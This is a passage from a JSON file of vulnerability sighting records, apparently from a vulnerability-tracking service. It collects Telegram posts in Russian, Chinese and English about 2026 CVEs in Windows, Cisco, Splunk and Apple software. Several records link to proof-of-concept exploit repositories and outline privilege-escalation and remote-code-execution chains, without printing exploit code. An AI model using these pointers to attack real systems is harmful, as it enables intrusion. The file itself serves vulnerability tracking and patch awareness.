\u0430\u0442\u0430\u043a\u0430\u0445 \u0432 \u0441\u0432\u044f\u0437\u043a\u0435 \u0441 \u0434\u0432\u0443\u043c\u044f \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f iOS 18.7.5 \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0434\u043b\u044f iPhone, iPad \u0438 Mac. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u0445 \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435.\n\nApple \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \u0422\u0435\u043f\u0435\u0440\u044c \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0449\u0443\u0442 \u0434\u0440\u0443\u0433\u0443\u044e. \u0410 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u2014 \u0437\u0430\u0440\u044f\u0434\u043a\u0443 \u0438 Wi-Fi\n\nJoin our club Cult \ud83d\udc41", "creation_timestamp": "2026-07-28T14:00:05.983489Z"}, {"uuid": "cc14eb31-8e18-4395-9368-8043fc44e857", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "seen", "source": "https://t.me/Positive_Technologies/3992", "content": "\ud83e\uddd0 \u0412\u0441\u0435 \u0435\u0449\u0435 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0438 Windows? \u0412\u043e\u0442 \u0432\u0430\u043c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0432\u043e\u0434 \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c: \u044d\u043a\u0441\u043f\u0435\u0440\u0442 PT SWARM \u0432\u044b\u044f\u0432\u0438\u043b \u0438 \u043f\u043e\u043c\u043e\u0433 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u0435\u0449\u0435 \u043e\u0434\u043d\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438 TapiSrv \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0421\u0435\u0440\u0433\u0435\u0439 \u0411\u043b\u0438\u0437\u043d\u044e\u043a, \u043e\u043d\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (8,0 \u043f\u043e CVSS 3.1). \u042d\u0442\u043e\u0442 \u0441\u0435\u0440\u0432\u0438\u0441 \u043f\u0440\u0435\u0434\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d \u0432\u043e \u0432\u0441\u0435\u0445 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430\u0445 Windows, \u0441 \u0435\u0433\u043e \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442 \u0441 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u043c\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438 (\u0441\u0442\u0430\u0446\u0438\u043e\u043d\u0430\u0440\u043d\u044b\u043c\u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430\u043c\u0438, \u043c\u043e\u0434\u0435\u043c\u0430\u043c\u0438, VoIP-\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438).\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 PT-2026-27341 (CVE-2026-20931) \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b 35 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0441\u0440\u0435\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043a\u0430\u043a \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 Windows Server 2019/2022/2025, \u0442\u0430\u043a \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 (Windows Server 2008 \u0438 2012). \u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d \u0432 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0438 Microsoft. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\ud83d\udc68\u200d\ud83d\udcbb \u0427\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0431\u044b \u0437\u0430\u0432\u043b\u0430\u0434\u0435\u0442\u044c \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 (\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043b\u043e\u0433\u0438\u043d \u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u043b\u044e\u0431\u043e\u0433\u043e \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438) \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f.\n\n\u0414\u043b\u044f \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c\u043e\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u043e \u0431\u044b \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e, \u0447\u0442\u043e\u0431\u044b \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438 \u0431\u044b\u043b\u0430 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u0430 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0447\u0442\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0440\u0435\u0434\u043a\u043e.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0433\u043b\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0442\u044c\u0441\u044f \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u043c \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0435 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u0442\u044c\u0441\u044f \u043f\u043e \u043d\u0435\u043c\u0443. \u041d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u044d\u0442\u0430\u043f\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0433 \u0431\u044b \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c \u0434\u043e\u043c\u0435\u043d\u0435 \u0434\u043e \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0445, \u0430 \u0432 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c \u0440\u0430\u0437\u0432\u0438\u0442\u044c \u043d\u0430\u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u044b \u0438 IT-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043f\u043e\u0445\u0438\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438 \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b.\n\n\u2757\ufe0f\u0410\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 TapiSrv \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0442\u044f\u0445\n\n\u2022 \u0415\u0441\u043b\u0438 \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043d\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043d\u0435\u0437\u0430\u043c\u0435\u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c, \u0435\u0441\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u2022 \u0414\u043e\u043c\u0430\u0448\u043d\u0438\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0432\u044b \u0443\u0432\u0438\u0434\u0438\u0442\u0435 \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u044d\u0442\u043e\u0442 \u0441\u0435\u0440\u0432\u0438\u0441, \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0443\u0433\u0440\u043e\u0436\u0430\u0435\u0442.\n\n#PTSWARM \n@Positive_Technologies", "creation_timestamp": "2026-07-28T15:00:06.264570Z"}, {"uuid": "bc699644-a2ad-49f6-8d25-0546425f5558", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20313", "type": "seen", "source": "https://t.me/GithubRedTeam/99903", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Cisco-CVE-2026-20303-More\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a HORKimhab\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-27 05:10:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-27T07:00:03.389187Z"}, {"uuid": "4eb52c5e-919b-44a4-9af3-79e3ebee922d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20303", "type": "seen", "source": "https://t.me/GithubRedTeam/99903", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Cisco-CVE-2026-20303-More\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a HORKimhab\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-27 05:10:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-27T07:00:03.440287Z"}, {"uuid": "ccd108f8-f07a-4f95-9084-7062d9ffd61a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20304", "type": "seen", "source": "https://t.me/GithubRedTeam/99903", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Cisco-CVE-2026-20303-More\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a HORKimhab\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-27 05:10:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-27T07:00:03.499597Z"}, {"uuid": "43f8ca19-532d-44b2-afd4-2c2b3c8daa00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17006", "content": "\ud83d\udea8 CVE-2026-20817 \u2014 Windows ALPC Privilege Escalation PoC\n\n\ud83d\udd17GitHub:\nhttps://github.com/oxfemale/CVE-2026-20817\n\n\ud83d\udccc Overview\n\u2022 CVE: CVE-2026-20817\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Component: Windows Error Reporting (WER)\n\u2022 Vector: Local\n\u2022 Privilege Required: Low\n\u2022 User Interaction: None\nThis vulnerability affects the Windows Error Reporting service and allows a low-privileged user to escalate privileges due to improper permission handling in ALPC communication.\n\n\ud83e\udde0 Technical Context (High-Level)\nThe issue resides in the way WER interacts through ALPC (Advanced Local Procedure Call).\nImproper access control validation allows a local attacker to:\n\u2022 Interact with privileged service context\n\u2022 Abuse internal service logic\n\u2022 Escalate privileges to higher integrity level\nThis is a typical post-exploitation primitive used after initial access.\n\n\ud83d\udcc2 Repository Structure\nThe repository includes:\n\u2022 PoC source code\n\u2022 Build instructions\n\u2022 Technical explanation\n\u2022 Demonstration context\nLicense: AGPL-3.0\nResearch-oriented PoC for educational and defensive study.\n\n\ud83c\udfaf Security Significance\nPrivilege escalation vulnerabilities matter because:\n\u2022 They convert limited access into SYSTEM-level control\n\u2022 They enable credential dumping\n\u2022 They allow persistence installation\n\u2022 They are commonly chained with RCE or initial foothold exploits\nEven though local access is required, this is a strong post-exploitation vector.\n\n\ud83d\udee1 Defensive Notes\n\u2022 Apply Microsoft January 2026 patches\n\u2022 Restrict local user privileges\n\u2022 Monitor abnormal service interaction\n\u2022 Enable enhanced auditing on Windows service processes\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:10.273874Z"}, {"uuid": "57bf4976-d71f-4ffb-b05f-b06102350c69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20310", "type": "seen", "source": "https://t.me/GithubRedTeam/99903", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Cisco-CVE-2026-20303-More\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a HORKimhab\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-27 05:10:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-27T07:00:03.930015Z"}, {"uuid": "e80e382f-79f1-494f-b03a-b94cb05c152f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20312", "type": "seen", "source": "https://t.me/GithubRedTeam/99903", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Cisco-CVE-2026-20303-More\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a HORKimhab\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-27 05:10:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-27T07:00:03.981721Z"}, {"uuid": "b1c6100e-6526-4b77-aa59-551dda29f2d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20672", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-di-sicurezza-apple-15", "content": "", "creation_timestamp": "2026-07-28T16:52:04.611706Z"}, {"uuid": "02901505-60ef-4858-b287-f93b4ed5aeb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/247", "content": "CVE-2026-20045\n\nA vulnerability in Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), Cisco Unified Communications Manager IM & Presence Service (Unified CM IM&P), Cisco Unity Connection, and Cisco Webex Calling Dedicated Instance could allow an unauthenticated, remote attacker to execute arbitrary commands on the underlying operating system of an affected device. \n\nThis vulnerability is due to improper validation of user-supplied input in HTTP requests. An attacker could exploit this vulnerability by sending a sequence of crafted HTTP requests to the web-based management interface of an affected device. A successful exploit could allow the attacker to obtain user-level access to the underlying operating system and then elevate privileges to root.\nNote: Cisco has assigned this ...", "creation_timestamp": "2026-08-29T00:00:30.075813Z"}, {"uuid": "7593c8bc-f1b5-42e0-a553-a12d5e9eeb27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/293", "content": "CVE-2026-20643\n\nGitHub Link:\nhttps://github.com/zeroxjf/WebKit-NavigationAPI-SOP-Bypass", "creation_timestamp": "2026-08-29T00:00:30.668664Z"}, {"uuid": "d5df8576-c2b6-4957-a469-997ed326a9c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "GCVE-1-2026-20208", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e8b8d385-eeed-46ce-9754-6cc7d1b4061c", "content": "", "creation_timestamp": "2026-08-24T09:56:31.965016Z"}, {"uuid": "6a69c547-3b00-46c9-a998-13f3be384007", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20687", "type": "seen", "source": "https://t.me/GithubRedTeam/99989", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20687-AppleJPEGDriver-UAF\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xjohnnydev\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Objective-C\n\u2b50 Star\u6570\u91cf\uff1a 19  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 3\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-27 16:43:17\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF \u2014 iOS/macOS kernel vulnerability leading to deferred panic (A19 Pro, iOS 26.3 RC)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-27T21:00:03.138356Z"}, {"uuid": "64bc0b43-21e2-43c6-a7a4-ea715ba4fbb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "https://t.me/zhatez/2736", "content": "\ud83d\udea8 BrEaKiNg: Splunk, a security product, has zero authentication in its built-in database service and accepts any credentials, according to the security researchers who just dropped a full pre-auth RCE chain for Splunk Enterprise (CVE-2026-20253, CVSS 9.8).\n\nSplunk Enterprise on AWS is vulnerable out of the box.\n\nhttps://labs.watchtowr.com/why-use-app-level-auth-when-every-database-has-auth-splunk-enterprise-cve-2026-20253-pre-auth-rce/", "creation_timestamp": "2026-07-28T22:00:05.565011Z"}, {"uuid": "ef183b1f-f5ad-49d1-86a2-d264a5f50aed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "exploited", "source": "https://t.me/xhqcankao/27576", "content": "\u601d\u79d1\u4fee\u8865 SD-WAN \u7cfb\u7edf\u6ee1\u5206\u96f6\u65e5\u6f0f\u6d1e\n\n\u601d\u79d1\u516c\u53f8\u516c\u5e03\u5e76\u4fee\u8865 SD-WAN \u7cfb\u7edf\u6ee1\u5206\u7f51\u7edc\u6f0f\u6d1e CVE-2026-20127 